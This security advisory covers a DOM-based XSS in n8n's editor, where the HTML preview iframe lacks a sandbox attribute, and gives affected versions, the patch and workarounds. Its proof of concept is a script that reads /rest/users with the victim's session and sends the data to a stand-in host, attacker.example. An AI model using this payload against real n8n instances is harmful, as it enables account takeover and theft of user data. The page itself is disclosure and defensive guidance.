highCVE-2026-65597Jul 22, 2026

CVE-2026-65597: n8n DOM-Based XSS via Unsandboxed iframe srcdoc in HTML Preview

Rohit Hatagale
AI Security Researcher, SecureLayer7

A missing sandbox attribute on the n8n editor's HTML preview iframe lets a low-privileged user inject scripts that run with the same origin as the editor, giving them access to any victim's…

Packagen8n
Ecosystemnpm
Affected< 1.123.64
Fixed in1.123.64

The problem

The HTML preview panel in n8n's editor renders workflow execution output inside an <iframe srcdoc> element. Before the fix, that iframe carried no sandbox attribute, so any injected <script> tag ran same-origin with the n8n editor.

An attacker with a global:member account can craft a workflow whose HTML node returns a malicious payload. When a higher-privileged user opens the execution preview, the script fires in their session and can call n8n's authenticated REST API on their behalf, enabling privilege escalation, credential theft, or full account takeover.

Proof of concept

A working proof-of-concept for CVE-2026-65597 in n8n, with the exact payload below.

html
<!-- Workflow HTML node output (attacker-controlled) -->
<script>
fetch('/rest/users', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => fetch('https://attacker.example/x?d=' + btoa(JSON.stringify(d))));
</script>

A srcdoc iframe without the sandbox attribute inherits the embedding page's origin. That means scripts inside it share the same origin as the n8n editor and can read cookies, call same-origin fetch endpoints, and manipulate the DOM freely.

The patch adds sandbox="allow-scripts" to the preview iframe without allow-same-origin. This forces the iframe into a null origin, which the browser treats as opaque and unrelated to the parent. Scripts can still run inside the preview for rendering purposes, but they lose all access to the parent document, its cookies, and its authenticated API endpoints (CWE-79).

Public PoC not yet released; payload derived from the patch diff and advisory description.

The fix

Upgrade to n8n 1.123.64, 2.29.8, or 2.30.1. The fix adds the sandbox attribute (without allow-same-origin) to the HTML preview iframe, isolating its origin from the editor. As a short-term workaround, set N8N_CONTENT_SECURITY_POLICY to block inline scripts, and restrict instance access to fully trusted users only.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research